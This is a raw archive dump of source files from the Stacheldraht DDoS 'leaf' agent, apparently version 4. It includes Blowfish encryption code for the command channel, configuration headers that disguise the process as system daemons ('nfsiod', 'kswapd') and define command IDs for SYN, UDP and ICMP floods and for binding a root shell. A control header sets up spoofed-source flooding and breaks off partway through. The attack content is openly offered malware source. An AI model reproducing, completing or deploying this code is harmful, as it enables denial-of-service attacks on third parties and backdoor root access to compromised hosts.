blowfish.c -D__LITTLE_ENDIAN_BITFIELD -static -DLINUX -o td -O6 solaris: ${CC} ${FLAGS} td.c blowfish.c -DSOLARIS -o td -O6 -lnsl -lsocket stacheldrahtV4/leaf/bf_tab.h100644 0 0 31660 6755707366 14365 0ustar rootroot/* bf_tab.h: Blowfish P-box and S-box tables */ #ifndef _H_TAB_BF #define _H_TAB_BF static UWORD_32bits initbf_P[bf_N + 2] = { 0x243f6a88, 0x85a308d3, 0x13198a2e, 0x03707344, 0xa4093822, 0x299f31d0, 0x082efa98, 0xec4e6c89, 0x452821e6, 0x38d01377, 0xbe5466cf, 0x34e90c6c, 0xc0ac29b7, 0xc97c50dd, 0x3f84d5b5, 0xb5470917, 0x9216d5d9, 0x8979fb1b, }; static UWORD_32bits initbf_S[4][256] = { { 0xd1310ba6, 0x98dfb5ac, 0x2ffd72db, 0xd01adfb7, 0xb8e1afed, 0x6a267e96, 0xba7c9045, 0xf12c7f99, 0x24a19947, 0xb3916cf7, 0x0801f2e2, 0x858efc16, 0x636920d8, 0x71574e69, 0xa458fea3, 0xf4933d7e, 0x0d95748f, 0x728eb658, 0x718bcd58, 0x82154aee, 0x7b54a41d, 0xc25a59b5, 0x9c30d539, 0x2af26013, 0xc5d1b023, 0x286085f0, 0xca417918, 0xb8db38ef, 0x8e79dcb0, 0x603a180e, 0x6c9e0e8b, 0xb01e8a3e, 0xd71577c1, 0xbd314b27, 0x78af2fda, 0x55605c60, 0xe65525f3, 0xaa55ab94, 0x57489862, 0x63e81440, 0x55ca396a, 0x2aab10b6, 0xb4cc5c34, 0x1141e8ce, 0xa15486af, 0x7c72e993, 0xb3ee1411, 0x636fbc2a, 0x2ba9c55d, 0x741831f6, 0xce5c3e16, 0x9b87931e, 0xafd6ba33, 0x6c24cf5c, 0x7a325381, 0x28958677, 0x3b8f4898, 0x6b4bb9af, 0xc4bfe81b, 0x66282193, 0x61d809cc, 0xfb21a991, 0x487cac60, 0x5dec8032, 0xef845d5d, 0xe98575b1, 0xdc262302, 0xeb651b88, 0x23893e81, 0xd396acc5, 0x0f6d6ff3, 0x83f44239, 0x2e0b4482, 0xa4842004, 0x69c8f04a, 0x9e1f9b5e, 0x21c66842, 0xf6e96c9a, 0x670c9c61, 0xabd388f0, 0x6a51a0d2, 0xd8542f68, 0x960fa728, 0xab5133a3, 0x6eef0b6c, 0x137a3be4, 0xba3bf050, 0x7efb2a98, 0xa1f1651d, 0x39af0176, 0x66ca593e, 0x82430e88, 0x8cee8619, 0x456f9fb4, 0x7d84a5c3, 0x3b8b5ebe, 0xe06f75d8, 0x85c12073, 0x401a449f, 0x56c16aa6, 0x4ed3aa62, 0x363f7706, 0x1bfedf72, 0x429b023d, 0x37d0d724, 0xd00a1248, 0xdb0fead3, 0x49f1c09b, 0x075372c9, 0x80991b7b, 0x25d479d8, 0xf6e8def7, 0xe3fe501a, 0xb6794c3b, 0x976ce0bd, 0x04c006ba, 0xc1a94fb6, 0x409f60c4, 0x5e5c9ec2, 0x196a2463, 0x68fb6faf, 0x3e6c53b5, 0x1339b2eb, 0x3b52ec6f, 0x6dfc511f, 0x9b30952c, 0xcc814544, 0xaf5ebd09, 0xbee3d004, 0xde334afd, 0x660f2807, 0x192e4bb3, 0xc0cba857, 0x45c8740f, 0xd20b5f39, 0xb9d3fbdb, 0x5579c0bd, 0x1a60320a, 0xd6a100c6, 0x402c7279, 0x679f25fe, 0xfb1fa3cc, 0x8ea5e9f8, 0xdb3222f8, 0x3c7516df, 0xfd616b15, 0x2f501ec8, 0xad0552ab, 0x323db5fa, 0xfd238760, 0x53317b48, 0x3e00df82, 0x9e5c57bb, 0xca6f8ca0, 0x1a87562e, 0xdf1769db, 0xd542a8f6, 0x287effc3, 0xac6732c6, 0x8c4f5573, 0x695b27b0, 0xbbca58c8, 0xe1ffa35d, 0xb8f011a0, 0x10fa3d98, 0xfd2183b8, 0x4afcb56c, 0x2dd1d35b, 0x9a53e479, 0xb6f84565, 0xd28e49bc, 0x4bfb9790, 0xe1ddf2da, 0xa4cb7e33, 0x62fb1341, 0xcee4c6e8, 0xef20cada, 0x36774c01, 0xd07e9efe, 0x2bf11fb4, 0x95dbda4d, 0xae909198, 0xeaad8e71, 0x6b93d5a0, 0xd08ed1d0, 0xafc725e0, 0x8e3c5b2f, 0x8e7594b7, 0x8ff6e2fb, 0xf2122b64, 0x8888b812, 0x900df01c, 0x4fad5ea0, 0x688fc31c, 0xd1cff191, 0xb3a8c1ad, 0x2f2f2218, 0xbe0e1777, 0xea752dfe, 0x8b021fa1, 0xe5a0cc0f, 0xb56f74e8, 0x18acf3d6, 0xce89e299, 0xb4a84fe0, 0xfd13e0b7, 0x7cc43b81, 0xd2ada8d9, 0x165fa266, 0x80957705, 0x93cc7314, 0x211a1477, 0xe6ad2065, 0x77b5fa86, 0xc75442f5, 0xfb9d35cf, 0xebcdaf0c, 0x7b3e89a0, 0xd6411bd3, 0xae1e7e49, 0x00250e2d, 0x2071b35e, 0x226800bb, 0x57b8e0af, 0x2464369b, 0xf009b91e, 0x5563911d, 0x59dfa6aa, 0x78c14389, 0xd95a537f, 0x207d5ba2, 0x02e5b9c5, 0x83260376, 0x6295cfa9, 0x11c81968, 0x4e734a41, 0xb3472dca, 0x7b14a94a, 0x1b510052, 0x9a532915, 0xd60f573f, 0xbc9bc6e4, 0x2b60a476, 0x81e67400, 0x08ba6fb5, 0x571be91f, 0xf296ec6b, 0x2a0dd915, 0xb6636521, 0xe7b9f9b6, 0xff34052e, 0xc5855664, 0x53b02d5d, 0xa99f8fa1, 0x08ba4799, 0x6e85076a }, { 0x4b7a70e9, 0xb5b32944, 0xdb75092e, 0xc4192623, 0xad6ea6b0, 0x49a7df7d, 0x9cee60b8, 0x8fedb266, 0xecaa8c71, 0x699a17ff, 0x5664526c, 0xc2b19ee1, 0x193602a5, 0x75094c29, 0xa0591340, 0xe4183a3e, 0x3f54989a, 0x5b429d65, 0x6b8fe4d6, 0x99f73fd6, 0xa1d29c07, 0xefe830f5, 0x4d2d38e6, 0xf0255dc1, 0x4cdd2086, 0x8470eb26, 0x6382e9c6, 0x021ecc5e, 0x09686b3f, 0x3ebaefc9, 0x3c971814, 0x6b6a70a1, 0x687f3584, 0x52a0e286, 0xb79c5305, 0xaa500737, 0x3e07841c, 0x7fdeae5c, 0x8e7d44ec, 0x5716f2b8, 0xb03ada37, 0xf0500c0d, 0xf01c1f04, 0x0200b3ff, 0xae0cf51a, 0x3cb574b2, 0x25837a58, 0xdc0921bd, 0xd19113f9, 0x7ca92ff6, 0x94324773, 0x22f54701, 0x3ae5e581, 0x37c2dadc, 0xc8b57634, 0x9af3dda7, 0xa9446146, 0x0fd0030e, 0xecc8c73e, 0xa4751e41, 0xe238cd99, 0x3bea0e2f, 0x3280bba1, 0x183eb331, 0x4e548b38, 0x4f6db908, 0x6f420d03, 0xf60a04bf, 0x2cb81290, 0x24977c79, 0x5679b072, 0xbcaf89af, 0xde9a771f, 0xd9930810, 0xb38bae12, 0xdccf3f2e, 0x5512721f, 0x2e6b7124, 0x501adde6, 0x9f84cd87, 0x7a584718, 0x7408da17, 0xbc9f9abc, 0xe94b7d8c, 0xec7aec3a, 0xdb851dfa, 0x63094366, 0xc464c3d2, 0xef1c1847, 0x3215d908, 0xdd433b37, 0x24c2ba16, 0x12a14d43, 0x2a65c451, 0x50940002, 0x133ae4dd, 0x71dff89e, 0x10314e55, 0x81ac77d6, 0x5f11199b, 0x043556f1, 0xd7a3c76b, 0x3c11183b, 0x5924a509, 0xf28fe6ed, 0x97f1fbfa, 0x9ebabf2c, 0x1e153c6e, 0x86e34570, 0xeae96fb1, 0x860e5e0a, 0x5a3e2ab3, 0x771fe71c, 0x4e3d06fa, 0x2965dcb9, 0x99e71d0f, 0x803e89d6, 0x5266c825, 0x2e4cc978, 0x9c10b36a, 0xc6150eba, 0x94e2ea78, 0xa5fc3c53, 0x1e0a2df4, 0xf2f74ea7, 0x361d2b3d, 0x1939260f, 0x19c27960, 0x5223a708, 0xf71312b6, 0xebadfe6e, 0xeac31f66, 0xe3bc4595, 0xa67bc883, 0xb17f37d1, 0x018cff28, 0xc332ddef, 0xbe6c5aa5, 0x65582185, 0x68ab9802, 0xeecea50f, 0xdb2f953b, 0x2aef7dad, 0x5b6e2f84, 0x1521b628, 0x29076170, 0xecdd4775, 0x619f1510, 0x13cca830, 0xeb61bd96, 0x0334fe1e, 0xaa0363cf, 0xb5735c90, 0x4c70a239, 0xd59e9e0b, 0xcbaade14, 0xeecc86bc, 0x60622ca7, 0x9cab5cab, 0xb2f3846e, 0x648b1eaf, 0x19bdf0ca, 0xa02369b9, 0x655abb50, 0x40685a32, 0x3c2ab4b3, 0x319ee9d5, 0xc021b8f7, 0x9b540b19, 0x875fa099, 0x95f7997e, 0x623d7da8, 0xf837889a, 0x97e32d77, 0x11ed935f, 0x16681281, 0x0e358829, 0xc7e61fd6, 0x96dedfa1, 0x7858ba99, 0x57f584a5, 0x1b227263, 0x9b83c3ff, 0x1ac24696, 0xcdb30aeb, 0x532e3054, 0x8fd948e4, 0x6dbc3128, 0x58ebf2ef, 0x34c6ffea, 0xfe28ed61, 0xee7c3c73, 0x5d4a14d9, 0xe864b7e3, 0x42105d14, 0x203e13e0, 0x45eee2b6, 0xa3aaabea, 0xdb6c4f15, 0xfacb4fd0, 0xc742f442, 0xef6abbb5, 0x654f3b1d, 0x41cd2105, 0xd81e799e, 0x86854dc7, 0xe44b476a, 0x3d816250, 0xcf62a1f2, 0x5b8d2646, 0xfc8883a0, 0xc1c7b6a3, 0x7f1524c3, 0x69cb7492, 0x47848a0b, 0x5692b285, 0x095bbf00, 0xad19489d, 0x1462b174, 0x23820e00, 0x58428d2a, 0x0c55f5ea, 0x1dadf43e, 0x233f7061, 0x3372f092, 0x8d937e41, 0xd65fecf1, 0x6c223bdb, 0x7cde3759, 0xcbee7460, 0x4085f2a7, 0xce77326e, 0xa6078084, 0x19f8509e, 0xe8efd855, 0x61d99735, 0xa969a7aa, 0xc50c06c2, 0x5a04abfc, 0x800bcadc, 0x9e447a2e, 0xc3453484, 0xfdd56705, 0x0e1e9ec9, 0xdb73dbd3, 0x105588cd, 0x675fda79, 0xe3674340, 0xc5c43465, 0x713e38d8, 0x3d28f89e, 0xf16dff20, 0x153e21e7, 0x8fb03d4a, 0xe6e39f2b, 0xdb83adf7 }, { 0xe93d5a68, 0x948140f7, 0xf64c261c, 0x94692934, 0x411520f7, 0x7602d4f7, 0xbcf46b2e, 0xd4a20068, 0xd4082471, 0x3320f46a, 0x43b7d4b7, 0x500061af, 0x1e39f62e, 0x97244546, 0x14214f74, 0xbf8b8840, 0x4d95fc1d, 0x96b591af, 0x70f4ddd3, 0x66a02f45, 0xbfbc09ec, 0x03bd9785, 0x7fac6dd0, 0x31cb8504, 0x96eb27b3, 0x55fd3941, 0xda2547e6, 0xabca0a9a, 0x28507825, 0x530429f4, 0x0a2c86da, 0xe9b66dfb, 0x68dc1462, 0xd7486900, 0x680ec0a4, 0x27a18dee, 0x4f3ffea2, 0xe887ad8c, 0xb58ce006, 0x7af4d6b6, 0xaace1e7c, 0xd3375fec, 0xce78a399, 0x406b2a42, 0x20fe9e35, 0xd9f385b9, 0xee39d7ab, 0x3b124e8b, 0x1dc9faf7, 0x4b6d1856, 0x26a36631, 0xeae397b2, 0x3a6efa74, 0xdd5b4332, 0x6841e7f7, 0xca7820fb, 0xfb0af54e, 0xd8feb397, 0x454056ac, 0xba489527, 0x55533a3a, 0x20838d87, 0xfe6ba9b7, 0xd096954b, 0x55a867bc, 0xa1159a58, 0xcca92963, 0x99e1db33, 0xa62a4a56, 0x3f3125f9, 0x5ef47e1c, 0x9029317c, 0xfdf8e802, 0x04272f70, 0x80bb155c, 0x05282ce3, 0x95c11548, 0xe4c66d22, 0x48c1133f, 0xc70f86dc, 0x07f9c9ee, 0x41041f0f, 0x404779a4, 0x5d886e17, 0x325f51eb, 0xd59bc0d1, 0xf2bcc18f, 0x41113564, 0x257b7834, 0x602a9c60, 0xdff8e8a3, 0x1f636c1b, 0x0e12b4c2, 0x02e1329e, 0xaf664fd1, 0xcad18115, 0x6b2395e0, 0x333e92e1, 0x3b240b62, 0xeebeb922, 0x85b2a20e, 0xe6ba0d99, 0xde720c8c, 0x2da2f728, 0xd0127845, 0x95b794fd, 0x647d0862, 0xe7ccf5f0, 0x5449a36f, 0x877d48fa, 0xc39dfd27, 0xf33e8d1e, 0x0a476341, 0x992eff74, 0x3a6f6eab, 0xf4f8fd37, 0xa812dc60, 0xa1ebddf8, 0x991be14c, 0xdb6e6b0d, 0xc67b5510, 0x6d672c37, 0x2765d43b, 0xdcd0e804, 0xf1290dc7, 0xcc00ffa3, 0xb5390f92, 0x690fed0b, 0x667b9ffb, 0xcedb7d9c, 0xa091cf0b, 0xd9155ea3, 0xbb132f88, 0x515bad24, 0x7b9479bf, 0x763bd6eb, 0x37392eb3, 0xcc115979, 0x8026e297, 0xf42e312d, 0x6842ada7, 0xc66a2b3b, 0x12754ccc, 0x782ef11c, 0x6a124237, 0xb79251e7, 0x06a1bbe6, 0x4bfb6350, 0x1a6b1018, 0x11caedfa, 0x3d25bdd8, 0xe2e1c3c9, 0x44421659, 0x0a121386, 0xd90cec6e, 0xd5abea2a, 0x64af674e, 0xda86a85f, 0xbebfe988, 0x64e4c3fe, 0x9dbc8057, 0xf0f7c086, 0x60787bf8, 0x6003604d, 0xd1fd8346, 0xf6381fb0, 0x7745ae04, 0xd736fccc, 0x83426b33, 0xf01eab71, 0xb0804187, 0x3c005e5f, 0x77a057be, 0xbde8ae24, 0x55464299, 0xbf582e61, 0x4e58f48f, 0xf2ddfda2, 0xf474ef38, 0x8789bdc2, 0x5366f9c3, 0xc8b38e74, 0xb475f255, 0x46fcd9b9, 0x7aeb2661, 0x8b1ddf84, 0x846a0e79, 0x915f95e2, 0x466e598e, 0x20b45770, 0x8cd55591, 0xc902de4c, 0xb90bace1, 0xbb8205d0, 0x11a86248, 0x7574a99e, 0xb77f19b6, 0xe0a9dc09, 0x662d09a1, 0xc4324633, 0xe85a1f02, 0x09f0be8c, 0x4a99a025, 0x1d6efe10, 0x1ab93d1d, 0x0ba5a4df, 0xa186f20f, 0x2868f169, 0xdcb7da83, 0x573906fe, 0xa1e2ce9b, 0x4fcd7f52, 0x50115e01, 0xa70683fa, 0xa002b5c4, 0x0de6d027, 0x9af88c27, 0x773f8641, 0xc3604c06, 0x61a806b5, 0xf0177a28, 0xc0f586e0, 0x006058aa, 0x30dc7d62, 0x11e69ed7, 0x2338ea63, 0x53c2dd94, 0xc2c21634, 0xbbcbee56, 0x90bcb6de, 0xebfc7da1, 0xce591d76, 0x6f05e409, 0x4b7c0188, 0x39720a3d, 0x7c927c24, 0x86e3725f, 0x724d9db9, 0x1ac15bb4, 0xd39eb8fc, 0xed545578, 0x08fca5b5, 0xd83d7cd3, 0x4dad0fc4, 0x1e50ef5e, 0xb161e6f8, 0xa28514d9, 0x6c51133c, 0x6fd5c7e7, 0x56e14ec4, 0x362abfce, 0xddc6c837, 0xd79a3234, 0x92638212, 0x670efa8e, 0x406000e0 }, { 0x3a39ce37, 0xd3faf5cf, 0xabc27737, 0x5ac52d1b, 0x5cb0679e, 0x4fa33742, 0xd3822740, 0x99bc9bbe, 0xd5118e9d, 0xbf0f7315, 0xd62d1c7e, 0xc700c47b, 0xb78c1b6b, 0x21a19045, 0xb26eb1be, 0x6a366eb4, 0x5748ab2f, 0xbc946e79, 0xc6a376d2, 0x6549c2c8, 0x530ff8ee, 0x468dde7d, 0xd5730a1d, 0x4cd04dc6, 0x2939bbdb, 0xa9ba4650, 0xac9526e8, 0xbe5ee304, 0xa1fad5f0, 0x6a2d519a, 0x63ef8ce2, 0x9a86ee22, 0xc089c2b8, 0x43242ef6, 0xa51e03aa, 0x9cf2d0a4, 0x83c061ba, 0x9be96a4d, 0x8fe51550, 0xba645bd6, 0x2826a2f9, 0xa73a3ae1, 0x4ba99586, 0xef5562e9, 0xc72fefd3, 0xf752f7da, 0x3f046f69, 0x77fa0a59, 0x80e4a915, 0x87b08601, 0x9b09e6ad, 0x3b3ee593, 0xe990fd5a, 0x9e34d797, 0x2cf0b7d9, 0x022b8b51, 0x96d5ac3a, 0x017da67d, 0xd1cf3ed6, 0x7c7d2d28, 0x1f9f25cf, 0xadf2b89b, 0x5ad6b472, 0x5a88f54c, 0xe029ac71, 0xe019a5e6, 0x47b0acfd, 0xed93fa9b, 0xe8d3c48d, 0x283b57cc, 0xf8d56629, 0x79132e28, 0x785f0191, 0xed756055, 0xf7960e44, 0xe3d35e8c, 0x15056dd4, 0x88f46dba, 0x03a16125, 0x0564f0bd, 0xc3eb9e15, 0x3c9057a2, 0x97271aec, 0xa93a072a, 0x1b3f6d9b, 0x1e6321f5, 0xf59c66fb, 0x26dcf319, 0x7533d928, 0xb155fdf5, 0x03563482, 0x8aba3cbb, 0x28517711, 0xc20ad9f8, 0xabcc5167, 0xccad925f, 0x4de81751, 0x3830dc8e, 0x379d5862, 0x9320f991, 0xea7a90c2, 0xfb3e7bce, 0x5121ce64, 0x774fbe32, 0xa8b6e37e, 0xc3293d46, 0x48de5369, 0x6413e680, 0xa2ae0810, 0xdd6db224, 0x69852dfd, 0x09072166, 0xb39a460a, 0x6445c0dd, 0x586cdecf, 0x1c20c8ae, 0x5bbef7dd, 0x1b588d40, 0xccd2017f, 0x6bb4e3bb, 0xdda26a7e, 0x3a59ff45, 0x3e350a44, 0xbcb4cdd5, 0x72eacea8, 0xfa6484bb, 0x8d6612ae, 0xbf3c6f47, 0xd29be463, 0x542f5d9e, 0xaec2771b, 0xf64e6370, 0x740e0d8d, 0xe75b1357, 0xf8721671, 0xaf537d5d, 0x4040cb08, 0x4eb4e2cc, 0x34d2466a, 0x0115af84, 0xe1b00428, 0x95983a1d, 0x06b89fb4, 0xce6ea048, 0x6f3f3b82, 0x3520ab82, 0x011a1d4b, 0x277227f8, 0x611560b1, 0xe7933fdc, 0xbb3a792b, 0x344525bd, 0xa08839e1, 0x51ce794b, 0x2f32c9b7, 0xa01fbac9, 0xe01cc87e, 0xbcc7d1f6, 0xcf0111c3, 0xa1e8aac7, 0x1a908749, 0xd44fbd9a, 0xd0dadecb, 0xd50ada38, 0x0339c32a, 0xc6913667, 0x8df9317c, 0xe0b12b4f, 0xf79e59b7, 0x43f5bb3a, 0xf2d519ff, 0x27d9459c, 0xbf97222c, 0x15e6fc2a, 0x0f91fc71, 0x9b941525, 0xfae59361, 0xceb69ceb, 0xc2a86459, 0x12baa8d1, 0xb6c1075e, 0xe3056a0c, 0x10d25065, 0xcb03a442, 0xe0ec6e0e, 0x1698db3b, 0x4c98a0be, 0x3278e964, 0x9f1f9532, 0xe0d392df, 0xd3a0342b, 0x8971f21e, 0x1b0a7441, 0x4ba3348c, 0xc5be7120, 0xc37632d8, 0xdf359f8d, 0x9b992f2e, 0xe60b6f47, 0x0fe3f11d, 0xe54cda54, 0x1edad891, 0xce6279cf, 0xcd3e7e6f, 0x1618b166, 0xfd2c1d05, 0x848fd2c5, 0xf6fb2299, 0xf523f357, 0xa6327623, 0x93a83531, 0x56cccd02, 0xacf08162, 0x5a75ebb5, 0x6e163697, 0x88d273cc, 0xde966292, 0x81b949d0, 0x4c50901b, 0x71c65614, 0xe6c6c7bd, 0x327a140a, 0x45e1d006, 0xc3f27b9a, 0xc9aa53fd, 0x62a80f00, 0xbb25bfe2, 0x35bdd2f6, 0x71126905, 0xb2040222, 0xb6cbcf7c, 0xcd769c2b, 0x53113ec0, 0x1640e3d3, 0x38abbd60, 0x2547adf0, 0xba38209c, 0xf746ce76, 0x77afa1c5, 0x20756060, 0x85cbfe4e, 0x8ae88dd8, 0x7aaaf9b0, 0x4cf9aa7e, 0x1948c25c, 0x02fb8a8c, 0x01c36ae4, 0xd6ebe1f9, 0x90d4f869, 0xa65cdea0, 0x3f09252d, 0xc208e69f, 0xb74e6132, 0xce77e25b, 0x578fdfe3, 0x3ac372e6 } }; #endif stacheldrahtV4/leaf/blowfish.c100644 0 0 12653 6755707366 14761 0ustar rootroot#include "blowfish.h" #include "bf_tab.h" #include #define BOXES 3 /* #define S(x,i) (bf_S[i][x.w.byte##i]) */ #define S0(x) (bf_S[0][x.w.byte0]) #define S1(x) (bf_S[1][x.w.byte1]) #define S2(x) (bf_S[2][x.w.byte2]) #define S3(x) (bf_S[3][x.w.byte3]) #define bf_F(x) (((S0(x) + S1(x)) ^ S2(x)) + S3(x)) #define ROUND(a,b,n) (a.word ^= bf_F(b) ^ bf_P[n]) struct box_t { UWORD_32bits *P; UWORD_32bits **S; char key[81]; char keybytes; } box[BOXES]; UWORD_32bits *bf_P; UWORD_32bits **bf_S; void blowfish_encipher (UWORD_32bits * xl, UWORD_32bits * xr) { union aword Xl; union aword Xr; Xl.word = *xl; Xr.word = *xr; Xl.word ^= bf_P[0]; ROUND(Xr, Xl, 1); ROUND(Xl, Xr, 2); ROUND(Xr, Xl, 3); ROUND(Xl, Xr, 4); ROUND(Xr, Xl, 5); ROUND(Xl, Xr, 6); ROUND(Xr, Xl, 7); ROUND(Xl, Xr, 8); ROUND(Xr, Xl, 9); ROUND(Xl, Xr, 10); ROUND(Xr, Xl, 11); ROUND(Xl, Xr, 12); ROUND(Xr, Xl, 13); ROUND(Xl, Xr, 14); ROUND(Xr, Xl, 15); ROUND(Xl, Xr, 16); Xr.word ^= bf_P[17]; *xr = Xl.word; *xl = Xr.word; } void blowfish_decipher (UWORD_32bits *xl, UWORD_32bits *xr) { union aword Xl; union aword Xr; Xl.word = *xl; Xr.word = *xr; Xl.word ^= bf_P[17]; ROUND(Xr, Xl, 16); ROUND(Xl, Xr, 15); ROUND(Xr, Xl, 14); ROUND(Xl, Xr, 13); ROUND(Xr, Xl, 12); ROUND(Xl, Xr, 11); ROUND(Xr, Xl, 10); ROUND(Xl, Xr, 9); ROUND(Xr, Xl, 8); ROUND(Xl, Xr, 7); ROUND(Xr, Xl, 6); ROUND(Xl, Xr, 5); ROUND(Xr, Xl, 4); ROUND(Xl, Xr, 3); ROUND(Xr, Xl, 2); ROUND(Xl, Xr, 1); Xr.word ^= bf_P[0]; *xl = Xr.word; *xr = Xl.word; } void blowfish_init (UBYTE_08bits * key, short keybytes, int bxtouse) { int i, j, bx; // time_t lowest; UWORD_32bits data; UWORD_32bits datal; UWORD_32bits datar; union aword temp; for (i = 0; i < BOXES; i++) if (box[i].P != NULL) { if ((box[i].keybytes == keybytes) && (strncmp((char *) (box[i].key), (char *) key, keybytes) == 0)) { bf_P = box[i].P; bf_S = box[i].S; return; } } bx = (-1); for (i = 0; i < BOXES; i++) { if (box[i].P == NULL) { bx = i; i = BOXES + 1; } } if (bx < 0) { bx = bxtouse; free(box[bx].P); for (i = 0; i < 4; i++) free(box[bx].S[i]); free(box[bx].S); } box[bx].P = (UWORD_32bits *) malloc((bf_N + 2) * sizeof(UWORD_32bits)); box[bx].S = (UWORD_32bits **) malloc(4 * sizeof(UWORD_32bits *)); for (i = 0; i < 4; i++) box[bx].S[i] = (UWORD_32bits *) malloc(256 * sizeof(UWORD_32bits)); bf_P = box[bx].P; bf_S = box[bx].S; box[bx].keybytes = keybytes; strncpy(box[bx].key, key, keybytes); for (i = 0; i < bf_N + 2; i++) bf_P[i] = initbf_P[i]; for (i = 0; i < 4; i++) for (j = 0; j < 256; j++) bf_S[i][j] = initbf_S[i][j]; j = 0; for (i = 0; i < bf_N + 2; ++i) { temp.word = 0; temp.w.byte0 = key[j]; temp.w.byte1 = key[(j + 1) % keybytes]; temp.w.byte2 = key[(j + 2) % keybytes]; temp.w.byte3 = key[(j + 3) % keybytes]; data = temp.word; bf_P[i] = bf_P[i] ^ data; j = (j + 4) % keybytes; } datal = 0x00000000; datar = 0x00000000; for (i = 0; i < bf_N + 2; i += 2) { blowfish_encipher(&datal, &datar); bf_P[i] = datal; bf_P[i + 1] = datar; } for (i = 0; i < 4; ++i) { for (j = 0; j < 256; j += 2) { blowfish_encipher(&datal, &datar); bf_S[i][j] = datal; bf_S[i][j + 1] = datar; } } } #define SALT1 0xdeadd061 #define SALT2 0x23f6b095 char *base64 = "./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; int base64dec (char c) { int i; for (i = 0; i < 64; i++) if (base64[i] == c) return i; return 0; } char *encrypt_string (char *key, char *str) { UWORD_32bits left, right; char *p, *s, *dest, *d; int i; dest = (char *) malloc((strlen(str) + 9) * 2); s = (char *) malloc(strlen(str) + 9); strcpy(s, str); p = s; while (*p) p++; for (i = 0; i < 8; i++) *p++ = 0; blowfish_init(key, strlen(key), 0); p = s; d = dest; while (*p) { left = ((*p++) << 24); left += ((*p++) << 16); left += ((*p++) << 8); left += (*p++); right = ((*p++) << 24); right += ((*p++) << 16); right += ((*p++) << 8); right += (*p++); blowfish_encipher(&left, &right); for (i = 0; i < 6; i++) { *d++ = base64[right & 0x3f]; right = (right >> 6); } for (i = 0; i < 6; i++) { *d++ = base64[left & 0x3f]; left = (left >> 6); } } *d = 0; free(s); return dest; } char *decrypt_string (char *key, char *str) { UWORD_32bits left, right; char *p, *s, *dest, *d; int i; dest = (char *) malloc(strlen(str) + 12); s = (char *) malloc(strlen(str) + 12); strcpy(s, str); p = s; while (*p) p++; for (i = 0; i < 12; i++) *p++ = 0; blowfish_init(key, strlen(key), 0); p = s; d = dest; while (*p) { right = 0L; left = 0L; for (i = 0; i < 6; i++) right |= (base64dec(*p++)) << (i * 6); for (i = 0; i < 6; i++) left |= (base64dec(*p++)) << (i * 6); blowfish_decipher(&left, &right); for (i = 0; i < 4; i++) *d++ = (left & (0xff << ((3 - i) * 8))) >> ((3 - i) * 8); for (i = 0; i < 4; i++) *d++ = (right & (0xff << ((3 - i) * 8))) >> ((3 - i) * 8); } *d = 0; free(s); return dest; } stacheldrahtV4/leaf/blowfish.h100644 0 0 2413 6755707366 14737 0ustar rootroot/* modified 19jul96 by robey -- uses autoconf values now */ #ifndef _H_BLOWFISH #define _H_BLOWFISH #include #include #include #define MAXKEYBYTES 56 /* 448 bits */ #define bf_N 16 #define noErr 0 #define DATAERROR -1 #define KEYBYTES 8 #define UBYTE_08bits unsigned char #define UWORD_16bits unsigned short #define nmalloc(x) n_malloc((x),__FILE__,__LINE__) /* dAS lEETo rIP fROm eggdrop.h */ /* FUCK THE AUTOCONF :D */ #define SIZEOF_INT 4 #define SIZEOF_LONG 4 #if SIZEOF_INT==4 # define UWORD_32bits unsigned int #else # if SIZEOF_LONG==4 # define UWORD_32bits unsigned long # endif #endif /* choose a byte order for your hardware */ #ifdef WORDS_BIGENDIAN /* ABCD - big endian - motorola */ union aword { UWORD_32bits word; UBYTE_08bits byte [4]; struct { unsigned int byte0:8; unsigned int byte1:8; unsigned int byte2:8; unsigned int byte3:8; } w; }; #endif /* WORDS_BIGENDIAN */ #ifndef WORDS_BIGENDIAN /* DCBA - little endian - intel */ union aword { UWORD_32bits word; UBYTE_08bits byte [4]; struct { unsigned int byte3:8; unsigned int byte2:8; unsigned int byte1:8; unsigned int byte0:8; } w; }; #endif /* !WORDS_BIGENDIAN */ #endif stacheldrahtV4/leaf/config.h100644 0 0 2307 7047037675 14363 0ustar rootroot#ifndef _CONFIG_H /* user defined values for the teletubby flood network */ #define HIDEME "nfsiod" #define HIDEKIDS "nfsiod" #define CHILDS 1 /* These are like passwords, you might want to change them */ #define ID_SHELL 88 /* to bind a rootshell */ #define ID_SETPRANGE 8008 /* set port range for synflood */ #define ID_SETUSIZE 8009 /* set udp size */ #define ID_SETISIZE 9010 /* set icmp size */ #define ID_TIMESET 9011 /* set the flood time */ #define ID_DIEREQ 6663 /* shutdown request of the masterserver */ #define ID_DISTROIT 6662 /* distro request of the master server */ #define ID_REMMSERVER 5501 /* remove added masterserver */ #define ID_ADDMSERVER 5555 /* add new masterserver request */ #define ID_STEST 959 /* spoof test request by the floodserver */ #define ID_TEST 6268 /* test of the master server */ #define ID_ICMP 1155 /* to icmp flood */ #define ID_SENDUDP 6 /* to udp flood */ #define ID_SENDSYN 9 /* to syn flood */ #define ID_SYNPORT 8 /* to set port */ #define ID_STOPIT 3 /* to stop flooding */ #define ID_SWITCH 5 /* to switch spoofing mode */ #define ID_ACK 4 /* for replies to the client */ #define _CONFIG_H #endif stacheldrahtV4/leaf/config.h.in100644 0 0 1121 6755707366 14767 0ustar rootroot#ifndef _CONFIG_H /* user defined values for the teletubby flood network */ #define HIDEME "(kswapd)" #define HIDEKIDS "httpd" #define CHILDS 10 /* These are like passwords, you might want to change them */ #define ID_SHELL 1 /* to bind a rootshell */ #define ID_ICMP /* to icmp flood */ #define ID_SENDUDP 2 /* to udp flood */ #define ID_SENDSYN 3 /* to syn flood */ #define ID_SYNPORT 4 /* to set port */ #define ID_STOPIT 5 /* to stop flooding */ #define ID_SWITCH 6 /* to switch spoofing mode */ #define ID_ACK 7 /* for replies to the client */ #define _CONFIG_H #endif stacheldrahtV4/leaf/control.h100644 0 0 5522 6763407133 14572 0ustar rootroot#ifndef _CONTROL_H #define _CONTROL_H #include "tubby.h" int icmpsize = 1024; int udppsize = 1024; u_long myip = 2130706433; /* 127.0.0.1 host byte ordered */ int kiddie = 0, fw00ding = 0, nospoof = 0, pid[CHILDS]; int rawsock; int lowport = 0; int highport = 140; #ifdef LINUX struct timeval { time_t tv_sec; /* Seconds. */ time_t tv_usec; /* Microseconds. */ }; #endif u_long k00lip (void) { struct in_addr hax0r; char convi[16]; int a, b, c, d; if (nospoof < 1) return (u_long) random (); hax0r.s_addr = htonl (myip); srandom ((time (0) + random () % getpid ())); /* supreme random leetness */ sscanf (inet_ntoa (hax0r), "%d.%d.%d.%d", 